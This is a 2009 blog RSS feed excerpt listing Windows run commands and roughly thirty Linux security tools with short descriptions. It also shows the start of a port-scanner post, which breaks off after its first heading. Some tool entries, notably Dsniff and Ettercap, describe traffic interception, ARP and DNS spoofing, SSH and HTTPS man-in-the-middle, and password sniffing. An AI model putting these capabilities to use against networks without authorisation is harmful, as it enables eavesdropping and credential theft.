		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Quick Help on Windows Dos Commands .</p>
<p>Accessibility Controls = access.cpl<br />
Add Hardware Wizard = hdwwiz.cpl<br />
Add/Remove Programs = appwiz.cpl<br />
Administrative Tools = control admintools<br />
Automatic Updates = wuaucpl.cpl<br />
Bluetooth Transfer Wizard = fsquirt<br />
Calculator = calc<br />
Certificate Manager = certmgr.msc<br />
Character Map = charmap<br />
Check Disk Utility = chkdsk<br />
Clipboard Viewer = clipbrd<br />
Command Prompt = cmd<br />
Component Services = dcomcnfg<br />
Computer Management = compmgmt.msc<br />
Date and Time Properties = timedate.cpl<br />
DDE Shares = ddeshare<br />
Device Manager = devmgmt.msc<br />
Direct X Control Panel (If Installed)* = directx.cpl<br />
Direct X Troubleshooter = dxdiag<br />
Disk Cleanup Utility = cleanmgr<br />
Disk Defragment = dfrg.msc<br />
Disk Management = diskmgmt.msc<br />
Disk Partition Manager = diskpart<br />
Display Properties = control desktop/desk.cpl<br />
Dr. Watson System Troubleshooting Utility = drwtsn32<br />
Driver Verifier Utility = verifier<br />
Event Viewer = eventvwr.msc<br />
File Signature Verification Tool = sigverif<br />
Findfast = findfast.cpl<br />
Folders Properties = control folders<br />
Fonts = control fonts<br />
Fonts Folder = fonts<br />
Free Cell Card Game = freecell<br />
Game Controllers = joy.cpl<br />
Group Policy Editor (XP Prof) = gpedit.msc<br />
Hearts Card Game = mshearts<br />
Iexpress Wizard = iexpress<br />
Indexing Service = ciadv.msc<br />
Internet Properties = inetcpl.cpl<br />
IP Configuration = ipconfig<br />
Java Control Panel (If Installed) = jpicpl32.cpl<br />
Java Application Cache Viewer (If Installed) = javaws<br />
Keyboard Properties = control keyboard<br />
Local Security Settings = secpol.msc<br />
Local Users and Groups = lusrmgr.msc<br />
Logs You Out Of Windows = logoff<br />
Microsoft Chat = winchat<br />
Minesweeper Game = winmine<br />
Mouse Properties = control mouse<br />
Mouse Properties = main.cpl<br />
Network Connections = control netconnections<br />
Network Connections = ncpa.cpl<br />
Network Setup Wizard = netsetup.cpl<br />
Notepad = notepad<br />
Nview Desktop Manager (If Installed) = nvtuicpl.cpl<br />
Object Packager = packager<br />
ODBC Data Source Administrator = odbccp32.cpl<br />
On Screen Keyboard = osk<br />
Opens AC3 Filter (If Installed) = ac3filter.cpl<br />
Password Properties = password.cpl<br />
Performance Monitor = perfmon.msc<br />
Performance Monitor = perfmon<br />
Phone and Modem Options = telephon.cpl<br />
Power Configuration = powercfg.cpl<br />
Printers and Faxes = control printers<br />
Printers Folder = printers<br />
Private Character Editor = eudcedit<br />
Quicktime (If Installed) = QuickTime.cpl<br />
Regional Settings = intl.cpl<br />
Registry Editor = regedit<br />
Registry Editor = regedit32<br />
Remote Desktop = mstsc<br />
Removable Storage = ntmsmgr.msc<br />
Removable Storage Operator Requests = ntmsoprq.msc<br />
Resultant Set of Policy (XP Prof) = rsop.msc<br />
Scanners and Cameras = sticpl.cpl<br />
Scheduled Tasks = control schedtasks<br />
Security Center = wscui.cpl<br />
Services = services.msc<br />
Shared Folders = fsmgmt.msc<br />
Shuts Down Windows = shutdown<br />
Sounds and Audio = mmsys.cpl<br />
Spider Solitare Card Game = spider<br />
SQL Client Configuration = cliconfg<br />
System Configuration Editor = sysedit<br />
System Configuration Utility = msconfig<br />
System File Checker Utility = sfc<br />
System Properties = sysdm.cpl<br />
Task Manager = taskmgr<br />
Telnet Client = telnet<br />
User Account Management = nusrmgr.cpl<br />
Utility Manager = utilman<br />
Windows Firewall = firewall.cpl<br />
Windows Magnifier = magnify<br />
Windows Management Infrastructure = wmimgmt.msc<br />
Windows System Security Tool = syskey<br />
Windows Update Launches = wupdmgr<br />
Windows XP Tour Wizard = tourstart<br />
Wordpad = write</p>
<p><span id="more-46"></span></p>
<p>Hope someone finds it somewhat usefull!?!</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=46&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/11/99-dos-commands/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Linux Security Tools</title>
		<link>http://www.hacking-gurus.net/2009/03/09/linux-security-tools/</link>
		<comments>http://www.hacking-gurus.net/2009/03/09/linux-security-tools/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 20:03:04 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Network Tools]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Wireless Security]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[Chkrootkit]]></category>
		<category><![CDATA[clamav]]></category>
		<category><![CDATA[data acquisition]]></category>
		<category><![CDATA[Denyhosts]]></category>
		<category><![CDATA[Dsniff]]></category>
		<category><![CDATA[Etherape]]></category>
		<category><![CDATA[Ettercap]]></category>
		<category><![CDATA[exploit scanner]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[GnuPG]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Hping3]]></category>
		<category><![CDATA[ICMP]]></category>
		<category><![CDATA[IPv4]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[john]]></category>
		<category><![CDATA[john the ripper]]></category>
		<category><![CDATA[Kismet]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[monitoring tool]]></category>
		<category><![CDATA[MTR]]></category>
		<category><![CDATA[NBTscan]]></category>
		<category><![CDATA[Nemesis]]></category>
		<category><![CDATA[Nessus]]></category>
		<category><![CDATA[Netcat]]></category>
		<category><![CDATA[netdude]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[network analyzer]]></category>
		<category><![CDATA[Network Mapper]]></category>
		<category><![CDATA[network monitor]]></category>
		<category><![CDATA[network security auditor]]></category>
		<category><![CDATA[network traffic analyzer]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[ngrep]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[Ntop]]></category>
		<category><![CDATA[OpenSSH]]></category>
		<category><![CDATA[Packet Injection]]></category>
		<category><![CDATA[password meter]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[port scanner]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[privacy guard]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[Rkhunter]]></category>
		<category><![CDATA[rootkits]]></category>
		<category><![CDATA[scapy]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sniffer]]></category>
		<category><![CDATA[SNMP]]></category>
		<category><![CDATA[Snort]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[system security]]></category>
		<category><![CDATA[Tcpdump]]></category>
		<category><![CDATA[tcpreplay]]></category>
		<category><![CDATA[tcptrace]]></category>
		<category><![CDATA[tiger]]></category>
		<category><![CDATA[tripwire]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[virus utility]]></category>
		<category><![CDATA[vulnerabilities]]></category>
		<category><![CDATA[wireless]]></category>
		<category><![CDATA[Wireless Network]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=36</guid>
		<description><![CDATA[
		
		
		
		Below is list of Linux Security Tools that you must know about as being Linux Administrator.


1) Wireshark &#8211; network traffic analyzer
Wireshark is a network traffic analyzer, or “sniffer”, for Unix and Unix-like operating systems. A sniffer is a tool used to capture packets off the wire. Wireshark decodes numerous protocols (too many to list).This package [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/09/linux-security-tools/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Linux+Security+Tools";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Below is list of Linux Security Tools that you must know about as being Linux Administrator.1) Wireshark &#8211; network traffic analyzerWireshark is a network traffic analyzer, or “sniffer”, for Unix and Unix-like operating systems. A sniffer is a tool used to capture packets off the wire. Wireshark decodes numerous protocols (too many to list).This...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Below is list of Linux Security Tools that you must know about as being Linux Administrator.<br />
<strong></strong></p>
<p><span id="more-36"></span></p>
<p><strong>1) Wireshark &#8211; network traffic analyzer</strong><br />
Wireshark is a network traffic analyzer, or “sniffer”, for Unix and Unix-like operating systems. A sniffer is a tool used to capture packets off the wire. Wireshark decodes numerous protocols (too many to list).This package provides wireshark (the GTK+ version)<br />
<a href="http://www.wireshark.org" target="_blank"></a></p>
<p><a href="http://www.wireshark.org" target="_blank">http://www.wireshark.org</a><br />
<strong></strong></p>
<p><strong>2) Nessus &#8211; Remote network security auditor</strong><br />
The Nessus® vulnerability scanner, is the world-leader in active scanners, featuring high speed discovery, configuration auditing, asset profiling, sensitive data discovery and vulnerability analysis of your security posture. Nessus scanners can be distributed throughout an entire enterprise, inside DMZs, and across physically separate networks.<br />
<a href="http://www.nessus.org " target="_blank"></a></p>
<p><a href="http://www.nessus.org " target="_blank">http://www.nessus.org </a></p>
<p><strong>3) Nmap &#8211; The Network Mapper</strong><br />
Nmap (”Network Mapper”) is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and both console and graphical versions are available.</p>
<p><strong>4) Etherape &#8211; graphical network monitor modeled after etherman</strong><br />
EtherApe is a graphical network monitor for Unix modeled after etherman. Featuring link layer, ip and TCP modes, it displays network activity graphically. Hosts and links change in size with traffic. Color coded protocols display.It supports Ethernet, FDDI, Token Ring, ISDN, PPP and SLIP devices. It can filter traffic to be shown, and can read traffic from a file as well as live from the network.<br />
<a href="http://etherape.sourceforge.net" target="_blank"></a></p>
<p><a href="http://etherape.sourceforge.net" target="_blank">http://etherape.sourceforge.net</a><br />
<strong></strong></p>
<p><strong>5) Kismet &#8211; Wireless 802.11b monitoring tool</strong><br />
Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic.<br />
Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting (and given time, decloaking) hidden networks, and infering the presence of nonbeaconing networks via data traffic.</p>
<p><a href="http://www.kismetwireless.net" target="_blank">http://www.kismetwireless.net</a><br />
<strong></strong></p>
<p><strong>6) Chkrootkit &#8211; Checks for signs of rootkits on the local system</strong><br />
chkrootkit identifies whether the target computer is infected with a rootkit. Some of the rootkits that chkrootkit identifies are:<br />
1. lrk3, lrk4, lrk5, lrk6 (and some variants);<br />
2. Solaris rootkit;<br />
3. FreeBSD rootkit;<br />
4. t0rn (including latest variant);<br />
5. Ambient’s Rootkit for Linux (ARK);<br />
6. Ramen Worm;<br />
7. rh[67]-shaper;<br />
8. RSHA;<br />
9. Romanian rootkit;<br />
10. RK17;<br />
11. Lion Worm;<br />
12. Adore Worm.<br />
Please note that this is not a definitive test, it does not ensure that the target has not been cracked. In addition to running chkrootkit, one should perform more specific tests.<br />
<a href="http://www.chkrootkit.org" target="_blank"></a></p>
<p><a href="http://www.chkrootkit.org" target="_blank">http://www.chkrootkit.org</a></p>
<p><strong>7) Rkhunter &#8211; rootkit, backdoor, sniffer and exploit scanner</strong><br />
Rootkit Hunter scans systems for known and unknown rootkits, backdoors, sniffers and exploits.<br />
It checks for:<br />
- MD5 hash changes;<br />
- files commonly created by rootkits;<br />
- executables with anomalous file permissions;<br />
- suspicious strings in kernel modules;<br />
- hidden files in system directories;<br />
and can optionally scan within files. Using rkhunter alone does not guarantee that a system is not compromised. Running additional tests, such as chkrootkit, is recommended.<br />
<a href="http://www.rootkit.nl" target="_blank"></a></p>
<p><a href="http://www.rootkit.nl" target="_blank">http://www.rootkit.nl</a><br />
<strong></strong></p>
<p><strong>8 ) tiger &#8211; Report system security vulnerabilities</strong><br />
TIGER, or the ‘tiger’ scripts, is a set of Bourne shell scripts, C programs and data files which are used to perform a security audit of UNIX systems. TIGER has one primary goal: report ways ‘root’ can be compromised.Debian’s TIGER incorporates new checks primarily oriented towards Debian distribution including: md5sums checks of installed files, location of files not belonging to packages, check of security advisories and analysis of local listening processes.<br />
<strong></strong></p>
<p><strong>9) GnuPG &#8211; GNU privacy guard </strong><br />
GnuPG is GNU’s tool for secure communication and data storage. It can be used to encrypt data and to create digital signatures. It includes an advanced key management facility and is compliant with the proposed OpenPGP Internet standard as described in RFC2440.GnuPG does not use any patented algorithms so it cannot be compatible with PGP2 because it uses IDEA (which is patented worldwide).<br />
<a href="http://www.gnupg.org/" target="_blank"></a></p>
<p><a href="http://www.gnupg.org/" target="_blank">http://www.gnupg.org/</a><br />
<strong></strong></p>
<p><strong>10) Nemesis &#8211; TCP/IP Packet Injection Suite</strong><br />
Nemesis is a command-line network packet crafting and injection utility for UNIX-like and Windows systems. Nemesis, is well suited for testing Network Intrusion Detection Systems, firewalls, IP stacks and a variety of other tasks. As a command-line driven utility, Nemesis is perfect for automation and scripting.<br />
Nemesis can natively craft and inject ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, TCP and UDP packets. Using the IP and the Ethernet injection modes, almost any custom packet can be crafted and injected.<br />
<a href="http://nemesis.sourceforge.net" target="_blank"></a></p>
<p><a href="http://nemesis.sourceforge.net" target="_blank">http://nemesis.sourceforge.net</a><br />
<strong></strong></p>
<p><strong>11) Tcpdump &#8211; A powerful tool for network monitoring and data acquisition</strong><br />
This program allows you to dump the traffic on a network. tcpdump is able to examine IPv4, ICMPv4, IPv6, ICMPv6, UDP, TCP, SNMP, AFS BGP, RIP, PIM, DVMRP, IGMP, SMB, OSPF, NFS and many other packet types.<br />
It can be used to print out the headers of packets on a network interface, filter packets that match a certain expression. You can use this tool to track down network problems, to detect “ping attacks” or to monitor network activities.<br />
<a href="http://www.tcpdump.org/" target="_blank"></a></p>
<p><a href="http://www.tcpdump.org/" target="_blank">http://www.tcpdump.org/</a></p>
<p><strong>12) OpenSSH &#8211; secure shell server</strong><br />
This is the portable version of OpenSSH, a free implementation of the Secure Shell protocol as specified by the IETF secsh working group.Ssh (Secure Shell) is a program for logging into a remote machine and for executing commands on a remote machine. It provides secure encrypted communications between two untrusted hosts over an insecure network. X11 connections and arbitrary TCP/IP ports can also be forwarded over the secure channel. It is intended as a replacement for rlogin, rsh and rcp, and can be used to provide applications with a secure communication channel.This package provides the sshd server.<br />
In some countries it may be illegal to use any encryption at all without a special permit.<br />
<a href="http://www.openssh.com/" target="_blank"></a></p>
<p><a href="http://www.openssh.com/" target="_blank">http://www.openssh.com/</a><br />
<strong></strong></p>
<p><strong>13) Denyhosts &#8211; an utility to help sys admins thwart ssh hackers </strong><br />
DenyHosts is a program that automatically blocks ssh brute-force attacks by adding entries to /etc/hosts.deny. It will also inform Linux administrators about offending hosts, attacked users and suspicious logins.Syncronization with a central server is possible too.<br />
Differently from other software that do same work, denyhosts doesn’t need support for packet filtering or any other kind of firewall in your kernel<br />
<a href="http://denyhosts.sourceforge.net/" target="_blank"></a></p>
<p><a href="http://denyhosts.sourceforge.net/" target="_blank">http://denyhosts.sourceforge.net/</a></p>
<p><strong>14) Snort &#8211; Flexible Network Intrusion Detection System</strong></p>
<p><strong></strong><br />
Snort is a libpcap-based packet sniffer/logger which can be used as a lightweight network intrusion detection system. It features rules based logging and can perform content searching/matching in addition to being used to detect a variety of other attacks and probes, such as buffer overflows, stealth port scans, CGI attacks, SMB probes, and much more. Snort has a real-time alerting capability, with alerts being sent to syslog, a separate “alert” file, or even to a Windows computer via Samba.<br />
This package provides the plain-vanilla snort distribution and does not provide database (available in snort-pgsql and snort-mysql) support.<br />
<a href="http://www.snort.org/" target="_blank"></a></p>
<p><a href="http://www.snort.org/" target="_blank">http://www.snort.org/</a></p>
<p><a href="http://www.snort.org/" target="_blank"></a><br />
<strong>15) Firestarter &#8211; gtk program for managing and observing your firewall</strong><br />
Firestarter is a complete firewall tool for Linux machines. It features an easy to use firewall wizard to quickly create a firewall. Using the program you can then open and close ports with a few clicks, or stealth your machine giving access only to a select few. The real-time hit monitor shows attackers probing your machine.<br />
<a href="http://www.fs-security.com" target="_blank"></a></p>
<p><a href="http://www.fs-security.com" target="_blank">http://www.fs-security.com</a><br />
<strong></strong></p>
<p><strong>16) clamav &#8211; anti-virus utility for Unix &#8211; command-line interface</strong><br />
Clam AntiVirus is an anti-virus toolkit for Unix. The main purpose of this software is the integration with mail servers (attachment scanning). The package provides a flexible and scalable multi-threaded daemon in the clamav-daemon package, a command-line scanner in the clamav package, and a tool for automatic updating via the Internet in the clamav-freshclam package. The programs are based on libclamav3, which can be used by other software.<br />
This package contains the command line interface. Features:<br />
- built-in support for various archive formats, including Zip, RAR, Tar,<br />
Gzip, Bzip2, OLE2, Cabinet, CHM, BinHex, SIS and others;<br />
- built-in support for almost all mail file formats;<br />
- built-in support for ELF executables and Portable Executable files<br />
compressed with UPX, FSG, Petite, NsPack, wwpack32, MEW, Upack and<br />
obfuscated with SUE, Y0da Cryptor and others;<br />
- built-in support for popular document formats including Microsoft<br />
Office and Mac Office files, HTML, RTF and PDF.<br />
For scanning to work, a virus database is needed. There are two options for getting it:<br />
- clamav-freshclam: updates the database from Internet. This is<br />
recommended with Internet access.<br />
- clamav-data: for users without Internet access. The package is<br />
not updated once installed. The clamav-getfiles package allows<br />
creating custom packages from an Internet-connected computer.<br />
<a href="http://www.clamav.net/" target="_blank"></a></p>
<p><a href="http://www.clamav.net/" target="_blank">http://www.clamav.net/</a><br />
<strong></strong></p>
<p><strong>17) Ettercap &#8211; Multipurpose sniffer/interceptor/logger for switched LAN</strong><br />
Ettercap supports active and passive dissection of many protocols (even ciphered ones) and includes many feature for network and host analysis.Data injection in an established connection and filtering (substitute or drop a packet) on the fly is also possible, keeping the connection synchronized.<br />
Many sniffing modes were implemented to give you a powerful and complete sniffing suite. It’s possible to sniff in four modes: IP Based, MAC Based, ARP Based (full-duplex) and PublicARP Based (half-duplex).<br />
It has the ability to check whether you are in a switched LAN or not, and to use OS fingerprints (active or passive) to let you know the geometry of the LAN.<br />
<a href="http://ettercap.sourceforge.net/" target="_blank"></a></p>
<p><a href="http://ettercap.sourceforge.net/" target="_blank">http://ettercap.sourceforge.net/</a><br />
<strong></strong></p>
<p><strong>18) Netcat &#8211; TCP/IP swiss army knife</strong><br />
A simple Unix utility which reads and writes data across network connections using TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or easily driven by other programs and scripts. At the same time it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.</p>
<p><a href="http://netcat.sourceforge.net" target="_blank">http://netcat.sourceforge.net</a><br />
<strong></strong></p>
<p><strong>19) MTR &#8211; mtr combines the functionality of the ‘traceroute’ and ‘ping’ programs in a single network diagnostic tool. </strong><br />
As mtr starts, it investigates the network connection between the host mtr runs on and a user-specified destination host. After it determines the address of each network hop between the machines, it sends a sequence ICMP ECHO requests to each one to determine the quality of the link to each machine. As it does this, it prints running statistics about each machine.</p>
<p><a href="http://www.bitwizard.nl/mtr/" target="_blank">http://www.bitwizard.nl/mtr/</a><br />
<strong>20) Hping3 &#8211; Active Network Smashing Tool</strong><br />
hping3 is a network tool able to send custom ICMP/UDP/TCP packets and to display target replies like ping does with ICMP replies. It handles fragmentation and arbitrary packet body and size, and can be used to transfer files under supported protocols. Using hping3, you can test firewall rules, perform (spoofed) port scanning, test network performance using different protocols, do path MTU discovery, perform traceroute-like actions under different protocols, fingerprint remote operating systems, audit TCP/IP stacks, etc. hping3 is scriptable using the TCL language.<br />
<a href="http://www.hping.org" target="_blank"></a></p>
<p><a href="http://www.hping.org" target="_blank">http://www.hping.org</a><br />
<strong></strong></p>
<p><strong>21) ngrep &#8211; grep for network traffic</strong><br />
ngrep strives to provide most of GNU grep’s common features, applying them to the network layer. ngrep is a pcap-aware tool that will allow you to specify extended regular expressions to match against data payloads of packets. It currently recognizes TCP, UDP and ICMP across Ethernet, PPP, SLIP and null interfaces, and understands bpf filter logic in the same fashion as more common packet sniffing tools, such as tcpdump and snoop.<br />
<a href="http://ngrep.sourceforge.net/" target="_blank"></a></p>
<p><a href="http://ngrep.sourceforge.net/" target="_blank">http://ngrep.sourceforge.net/</a><br />
<strong></strong></p>
<p><strong>22) john &#8211; active password cracking tool</strong><br />
john, mostly known as John the Ripper, is a tool designed to help systems administrators to find weak (easy to guess or crack through brute force) passwords, and even automatically mail users warning them about it, if it is desired.<br />
It can also be used with different cyphertext formats, including Unix’s DES and MD5, Kerberos AFS passwords, Windows’ LM hashes, BSDI’s extended DES, and OpenBSD’s Blowfish.<br />
<a href="http://www.openwall.com/john/" target="_blank"></a></p>
<p><a href="http://www.openwall.com/john/" target="_blank">http://www.openwall.com/john/</a><br />
<strong></strong></p>
<p><strong>23) tcptrace &#8211; Tool for analyzing tcpdump output </strong><br />
Tcptrace is a tool for analyzing and reporting on tcpdump (or other libpcap) dump files. It can summarize the data or generate graph data for use with the gnuplot tool from the gnuplot package. Graph data can be created for throughput, RTT, time sequences, segment size, and cwin.<br />
<a href="http://jarok.cs.ohiou.edu/software/tcptrace/" target="_blank">http://jarok.cs.ohiou.edu/software/tcptrace/</a></p>
<p><strong> 24) netdude &#8211; NETwork DUmp data Displayer and Editor for tcpdump trace files</strong><br />
It is a GUI-based tool that allows you to make detailed changes to packets in tcpdump trace files, in particular, it can currently do the following:<br />
* Set the value of any field in IP, TCP and UDP packet headers.<br />
* Copy, move and delete packets in the trace file.<br />
* Fragment and reassemble IP packets.<br />
* Netdude constantly communicates with a tcpdump process to update<br />
the familiar tcpdump output that corresponds to the trace. This<br />
also means that any changes made to your local version of tcpdump<br />
are reflected in Netdude.<br />
* Plugin architecture: people can easily add plugins for specific<br />
tasks. The code comes with a plugin for checksum correction in IP,<br />
TCP and UDP, and a dummy plugin.<br />
* Through the plugin mechanism, Netdude provides a good facility for<br />
writing tcpdump trace file filters.<br />
<a href="http://netdude.sourceforge.net" target="_blank"> http://netdude.sourceforge.net</a><br />
<strong>25) tcpreplay &#8211; Tool to replay saved tcpdump files at arbitrary speeds</strong></p>
<p><strong></strong><br />
Tcpreplay is aimed at testing the performance of a NIDS by replaying real background network traffic in which to hide attacks. Tcpreplay allows you to control the speed at which the traffic is replayed, and can replay arbitrary tcpdump traces. Unlike programmatically-generated artificial traffic which doesn’t exercise the application/protocol inspection that a NIDS performs, and doesn’t reproduce the real-world anomalies that appear on production networks (asymmetric routes, traffic bursts/lulls, fragmentation, retransmissions, etc.), tcpreplay allows for exact replication of real traffic seen on real networks.<br />
<a href="http://tcpreplay.synfin.net" target="_blank"> http://tcpreplay.synfin.net</a><br />
<strong> 26) Dsniff &#8211; Various tools to sniff network traffic for cleartext insecurities</strong><br />
This package contains several tools to listen to and create network traffic:<br />
* arpspoof &#8211; Send out unrequested (and possibly forged) arp replies.<br />
* dnsspoof &#8211; forge replies to arbitrary DNS address / pointer queries<br />
on the Local Area Network.<br />
* dsniff &#8211; password sniffer for several protocols.<br />
* filesnarf &#8211; saves selected files sniffed from NFS traffic.<br />
* macof &#8211; flood the local network with random MAC addresses.<br />
* mailsnarf &#8211; sniffs mail on the LAN and stores it in mbox format.<br />
* msgsnarf &#8211; record selected messages from different Instant Messengers.<br />
* sshmitm &#8211; SSH monkey-in-the-middle. proxies and sniffs SSH traffic.<br />
* sshow &#8211; SSH traffic analyser.<br />
* tcpkill &#8211; kills specified in-progress TCP connections.<br />
* tcpnice &#8211; slow down specified TCP connections via “active”<br />
traffic shaping.<br />
* urlsnarf &#8211; output selected URLs sniffed from HTTP traffic in CLF.<br />
* webmitm &#8211; HTTP / HTTPS monkey-in-the-middle. transparently proxies.<br />
* webspy &#8211; sends URLs sniffed from a client to your local browser<br />
(requires libx11-6 installed).</p>
<p><a href="http://www.monkey.org/~dugsong/dsniff/" target="_blank">http://www.monkey.org/~dugsong/dsniff/</a><br />
<strong> 27) scapy &#8211; Packet generator/sniffer and network scanner/discovery</strong><br />
Scapy is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery, packet sniffer, etc. It can for the moment replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, ….<br />
In scapy you define a set of packets, then it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet.<br />
<a href="http://www.secdev.org/projects/scapy/" target="_blank">http://www.secdev.org/projects/scapy/</a><br />
<strong> 28) Ntop &#8211; display network usage in top-like format</strong><br />
ntop is a Network Top program. It displays a summary of network usage by machines on your network in a format reminiscent of the unix top utility.It can also be run in web mode, which allows the display to be browsed with a web browser.<br />
<a href="http://www.ntop.org/" target="_blank">http://www.ntop.org/</a><br />
<strong> 29) NBTscan &#8211; A program for scanning networks for NetBIOS name information</strong><br />
NBTscan is a program for scanning IP networks for NetBIOS name information. It sends NetBIOS status query to each address in supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address (such as Ethernet).</p>
<p><a href="http://www.unixwiz.net/tools/nbtscan.html" target="_blank">http://www.unixwiz.net/tools/nbtscan.html</a><br />
<strong> 30) tripwire &#8211; file and directory integrity checker</strong><br />
Tripwire is a tool that aids system administrators and users in monitoring a designated set of files for any changes. Used with system files on a regular (e.g., daily) basis, Tripwire can notify system administrators of corrupted or tampered files, so damage control measures can be taken in a timely manner.<br />
<a href="http://www.tripwire.com/" target="_blank"> http://www.tripwire.com/</a></p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=36&ts=1280469057" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/09/linux-security-tools/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Top 3 IP and Port Scanner</title>
		<link>http://www.hacking-gurus.net/2009/03/09/top-3-ip-and-port-scanner/</link>
		<comments>http://www.hacking-gurus.net/2009/03/09/top-3-ip-and-port-scanner/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 03:38:02 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Network Tools]]></category>
		<category><![CDATA[angry ip scanner]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[icmp tools]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[ip address]]></category>
		<category><![CDATA[ip packets]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[Mac ip scanner]]></category>
		<category><![CDATA[namp]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[port scanner]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[superscan]]></category>
		<category><![CDATA[tcp ip]]></category>
		<category><![CDATA[TCP SYN]]></category>
		<category><![CDATA[traceroute]]></category>
		<category><![CDATA[windows ip scanner]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=33</guid>
		<description><![CDATA[
		
		
		
		Port Scanner :
A port scanner is a piece of software designed to search a network host for open ports. This is often used by administrators to check the security of their networks and by crackers to compromise it. To portscan a host is to scan for listening ports on a single target host.

Nmap
Superscan
Angry Ip  [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/09/top-3-ip-and-port-scanner/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Top+3+IP+and+Port+Scanner";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Port Scanner :A port scanner is a piece of software designed to search a network host for open ports. This is often used by administrators to check the security of their networks and by crackers to compromise it. To portscan a host is to scan for listening ports on a single target host.NmapSuperscanAngry Ip  Scanner1. NmapNmap (&#8221;Network Mapper&#8221;)...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p><strong>Port Scanner </strong>:</p>
<p>A <strong>port scanner</strong> is a piece of <span class="mw-redirect">software</span> designed to search a network host for open ports. This is often used by administrators to check the security of their networks and by <span class="mw-redirect">crackers</span> to compromise it. To <strong>portscan</strong> a host is to scan for listening ports on a single target host.<span id="more-33"></span></p>
<ol>
<li>Nmap</li>
<li>Superscan</li>
<li>Angry Ip  Scanner</li>
</ol>
<p>1. <strong>Nmap</strong></p>
